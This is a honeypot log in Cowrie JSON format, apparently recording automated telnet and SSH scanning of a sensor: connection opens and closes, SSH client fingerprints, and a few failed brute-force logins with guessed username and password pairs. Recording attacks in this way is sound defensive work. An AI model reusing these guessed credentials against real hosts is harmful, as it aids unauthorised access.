{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39776,"dst_ip":"10.17.0.5","dst_port":23,"session":"60499361c73c","protocol":"telnet","message":"New connection: 62.210.97.77:39776 (10.17.0.5:23) [session: 60499361c73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:42.430690Z"}
{"eventid":"cowrie.session.closed","duration":7.423330545425415,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:42.787120Z","src_ip":"38.54.119.93","session":"601e07607e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"593f358a1504","protocol":"telnet","message":"New connection: 62.210.97.77:39778 (10.17.0.5:23) [session: 593f358a1504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:42.920527Z"}
{"eventid":"cowrie.session.closed","duration":35.630478858947754,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:44.910107Z","src_ip":"62.210.97.77","session":"04716c507c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.751540184020996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:46.660241Z","src_ip":"62.210.97.77","session":"2a89399f1352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39784,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d7c609f0f96","protocol":"telnet","message":"New connection: 62.210.97.77:39784 (10.17.0.5:23) [session: 6d7c609f0f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:47.040662Z"}
{"eventid":"cowrie.session.closed","duration":45.65671420097351,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:47.161130Z","src_ip":"65.60.27.33","session":"ec2e9dcb15b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39790,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab16044c8bc","protocol":"telnet","message":"New connection: 62.210.97.77:39790 (10.17.0.5:23) [session: cab16044c8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:48.266937Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49652,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4fe3978dd4","protocol":"telnet","message":"New connection: 38.54.119.93:49652 (10.17.0.5:23) [session: 7e4fe3978dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:50.651593Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57484,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc880092930","protocol":"telnet","message":"New connection: 62.210.97.77:57484 (10.17.0.5:23) [session: efc880092930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:54.289703Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57498,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae20f3274faf","protocol":"telnet","message":"New connection: 62.210.97.77:57498 (10.17.0.5:23) [session: ae20f3274faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:54.478230Z"}
{"eventid":"cowrie.session.closed","duration":33.50900745391846,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:56.419598Z","src_ip":"62.210.97.77","session":"5084785bede3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53622,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b732998bce","protocol":"telnet","message":"New connection: 165.232.131.181:53622 (10.17.0.5:23) [session: 47b732998bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:57.146938Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54028,"dst_ip":"10.17.0.5","dst_port":23,"session":"22151e7bf741","protocol":"telnet","message":"New connection: 165.232.131.181:54028 (10.17.0.5:23) [session: 22151e7bf741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:59.146204Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49000,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf1f60dd699","protocol":"telnet","message":"New connection: 165.232.131.181:49000 (10.17.0.5:23) [session: acf1f60dd699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:00.843656Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea01627904f4","protocol":"telnet","message":"New connection: 165.232.131.181:55686 (10.17.0.5:23) [session: ea01627904f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:02.258918Z"}
{"eventid":"cowrie.session.closed","duration":34.83569931983948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:02.914515Z","src_ip":"62.210.97.77","session":"bb25dc6c3883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57792,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3a3649a599","protocol":"telnet","message":"New connection: 62.210.97.77:57792 (10.17.0.5:23) [session: 3e3a3649a599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:05.053507Z"}
{"eventid":"cowrie.session.closed","duration":38.34394931793213,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:05.727778Z","src_ip":"62.210.97.77","session":"95191c9943de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34653425216675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:06.531414Z","src_ip":"62.210.97.77","session":"783ab755c78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.10454559326172,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:07.407687Z","src_ip":"65.60.27.33","session":"8b8de8b4c23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.560546875,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:07.819342Z","src_ip":"165.232.131.181","session":"ea01627904f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.220993518829346,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:08.142514Z","src_ip":"62.210.97.77","session":"6a12d6b15572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35917115211487,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:08.705636Z","src_ip":"62.210.97.77","session":"2cf714f45a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311304092407227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:10.107294Z","src_ip":"109.123.252.75","session":"9ec03ebc429d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47886,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fe5ac4e59e4","protocol":"telnet","message":"New connection: 62.210.97.77:47886 (10.17.0.5:23) [session: 2fe5ac4e59e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:10.418309Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34972,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39ab0bd817b","protocol":"telnet","message":"New connection: 38.54.119.93:34972 (10.17.0.5:23) [session: c39ab0bd817b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:11.484511Z"}
{"eventid":"cowrie.session.closed","duration":47.50918483734131,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:12.301450Z","src_ip":"165.232.131.181","session":"66c59478ecc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.31290006637573,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:13.124575Z","src_ip":"165.232.131.181","session":"4fe0615d458b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.368247985839844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:15.316035Z","src_ip":"62.210.97.77","session":"db705e15cf3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.539608001708984,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:15.460016Z","src_ip":"62.210.97.77","session":"593f358a1504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.7699854373931885,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:18.254370Z","src_ip":"38.54.119.93","session":"c39ab0bd817b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.772488117218018,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:18.616008Z","src_ip":"165.232.131.181","session":"acf1f60dd699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245242834091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:19.512095Z","src_ip":"62.210.97.77","session":"cab16044c8bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.994544506073,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:21.035084Z","src_ip":"62.210.97.77","session":"6d7c609f0f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.34041094779968,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:21.770982Z","src_ip":"62.210.97.77","session":"60499361c73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3d9e213307","protocol":"telnet","message":"New connection: 62.210.97.77:46268 (10.17.0.5:23) [session: cb3d9e213307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:21.952859Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":43078,"dst_ip":"10.17.0.5","dst_port":22,"session":"3564ad1f8a1a","protocol":"ssh","message":"New connection: 187.16.96.250:43078 (10.17.0.5:22) [session: 3564ad1f8a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:23.794904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:23.802361Z","src_ip":"187.16.96.250","session":"3564ad1f8a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.4064085483551,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:23.910806Z","src_ip":"165.232.131.181","session":"28a2da47b25a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:23.926182Z","src_ip":"187.16.96.250","session":"3564ad1f8a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123456","message":"login attempt [guest/guest123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:24.426396Z","src_ip":"187.16.96.250","session":"3564ad1f8a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.130996704101562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:25.420596Z","src_ip":"62.210.97.77","session":"efc880092930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:25.547366Z","src_ip":"187.16.96.250","session":"3564ad1f8a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.07840323448181,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:28.556498Z","src_ip":"62.210.97.77","session":"ae20f3274faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37572,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b4c5c765e4","protocol":"telnet","message":"New connection: 165.232.131.181:37572 (10.17.0.5:23) [session: 15b4c5c765e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:29.828277Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51544,"dst_ip":"10.17.0.5","dst_port":23,"session":"96470410ccfc","protocol":"telnet","message":"New connection: 62.210.97.77:51544 (10.17.0.5:23) [session: 96470410ccfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:30.064849Z"}
{"eventid":"cowrie.session.closed","duration":45.40801930427551,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:36.059541Z","src_ip":"38.54.119.93","session":"7e4fe3978dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60026,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d9d820d0915","protocol":"ssh","message":"New connection: 80.94.92.182:60026 (159.203.135.109:22) [session: 7d9d820d0915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:36.694327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:36.873561Z","src_ip":"80.94.92.182","session":"7d9d820d0915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:36.878139Z","src_ip":"80.94.92.182","session":"7d9d820d0915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39892,"dst_ip":"10.17.0.5","dst_port":23,"session":"77bcd3b718c2","protocol":"telnet","message":"New connection: 165.232.131.181:39892 (10.17.0.5:23) [session: 77bcd3b718c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:37.290633Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"321","message":"login attempt [sol/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:38.187365Z","src_ip":"80.94.92.182","session":"7d9d820d0915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.03153204917908,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:39.178335Z","src_ip":"165.232.131.181","session":"47b732998bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.41981482505798,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:39.565901Z","src_ip":"165.232.131.181","session":"22151e7bf741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:39.690273Z","src_ip":"80.94.92.182","session":"7d9d820d0915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52408,"dst_ip":"10.17.0.5","dst_port":23,"session":"377d471e35d5","protocol":"telnet","message":"New connection: 38.54.119.93:52408 (10.17.0.5:23) [session: 377d471e35d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:40.609684Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66b9698ea63","protocol":"telnet","message":"New connection: 62.210.97.77:39566 (10.17.0.5:23) [session: f66b9698ea63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:41.628832Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44250,"dst_ip":"10.17.0.5","dst_port":23,"session":"a890e4e6c483","protocol":"telnet","message":"New connection: 65.60.27.33:44250 (10.17.0.5:23) [session: a890e4e6c483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:42.739059Z"}
{"eventid":"cowrie.session.closed","duration":37.77582287788391,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:42.829204Z","src_ip":"62.210.97.77","session":"3e3a3649a599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f5fc8c21e02","protocol":"telnet","message":"New connection: 65.60.27.33:44598 (10.17.0.5:23) [session: 0f5fc8c21e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:43.131844Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40954,"dst_ip":"10.17.0.5","dst_port":23,"session":"142e93eb97b4","protocol":"telnet","message":"New connection: 165.232.131.181:40954 (10.17.0.5:23) [session: 142e93eb97b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:44.325092Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6330239caa4","protocol":"telnet","message":"New connection: 62.210.97.77:39572 (10.17.0.5:23) [session: b6330239caa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:44.592000Z"}
{"eventid":"cowrie.session.closed","duration":34.223490715026855,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:44.641688Z","src_ip":"62.210.97.77","session":"2fe5ac4e59e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43182,"dst_ip":"10.17.0.5","dst_port":23,"session":"f492c7eb19c9","protocol":"telnet","message":"New connection: 165.232.131.181:43182 (10.17.0.5:23) [session: f492c7eb19c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:46.391160Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56666,"dst_ip":"10.17.0.5","dst_port":23,"session":"d171755408d9","protocol":"telnet","message":"New connection: 38.54.119.93:56666 (10.17.0.5:23) [session: d171755408d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:48.626628Z"}
{"eventid":"cowrie.session.closed","duration":4.443076133728027,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:53.069575Z","src_ip":"38.54.119.93","session":"d171755408d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60470,"dst_ip":"10.17.0.5","dst_port":23,"session":"763178efbb89","protocol":"telnet","message":"New connection: 62.210.97.77:60470 (10.17.0.5:23) [session: 763178efbb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:53.995055Z"}
{"eventid":"cowrie.session.closed","duration":34.01349449157715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:55.966222Z","src_ip":"62.210.97.77","session":"cb3d9e213307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34848,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a4c1d95f79","protocol":"telnet","message":"New connection: 38.54.119.93:34848 (10.17.0.5:23) [session: d9a4c1d95f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:57.330477Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34520,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e54abd87db6","protocol":"telnet","message":"New connection: 65.60.27.33:34520 (10.17.0.5:23) [session: 6e54abd87db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:10:59.288637Z"}
{"eventid":"cowrie.session.closed","duration":5.555297136306763,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:02.885640Z","src_ip":"38.54.119.93","session":"d9a4c1d95f79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58236,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c1ca93e684b","protocol":"telnet","message":"New connection: 62.210.97.77:58236 (10.17.0.5:23) [session: 0c1ca93e684b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:04.158167Z"}
